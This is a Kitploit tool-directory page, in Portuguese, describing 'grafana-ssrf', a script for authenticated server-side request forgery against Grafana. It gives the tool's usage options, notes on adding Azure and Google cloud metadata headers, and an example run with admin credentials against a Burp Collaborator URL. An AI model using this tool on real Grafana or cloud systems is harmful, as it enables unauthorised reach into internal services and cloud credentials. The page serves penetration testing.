Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
grafana-ssrf — Authenticated SSRF in Grafana | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/grafana-ssrf
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCloud SecurityRed Teaming
GitHubrandomrobbiebf/grafana-ssrf

grafana-ssrf

Authenticated SSRF in Grafana

Ver Repositório
8327há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

grafana-ssrf

SSRF autenticado no Grafana.

Notas

  • O cabeçalho de metadados do Azure foi adicionado a todos os SSRF
  • O cabeçalho de metadados do Google foi adicionado a todos os SSRF
  • O SSRF não seguirá redirecionamentos de forma alguma, então garanta que a URL seja direta.
  • Se o login for via SSO ou outros logins que não sejam do Grafana, pegue seu cookie de sessão e use a flag -s

Uso

root@kitploit:~
usage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]
                  [-P PASSWORD]

optional arguments:
  -h, --help            show this help message and exit
  -s SESSION, --session SESSION
                        Session Cookie Value
  -u URL, --url URL     URL of host to check will need http or https
  -H HOST, --host HOST  Host for Grafana
  -f FILE, --file FILE  File of URLS to check SSRF Against
  -U USERNAME, --username USERNAME
                        Username for Grafana
  -P PASSWORD, --password PASSWORD
                        Password for Grafana

Exemplo

root@kitploit:~
python3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net
Refreshed Sources
SSRF Source Updated
Status code:   200
Response body: <html><body>c7yzzb4zyj5v14wkpi2nxvzjigz</body></html>
Deleted Old SSRF Source

Não se esqueça de conferir as vagas que temos abertas!

https://bishopfox.com/jobs#open-positions - Venha se juntar à Fox!

Baixar ferramenta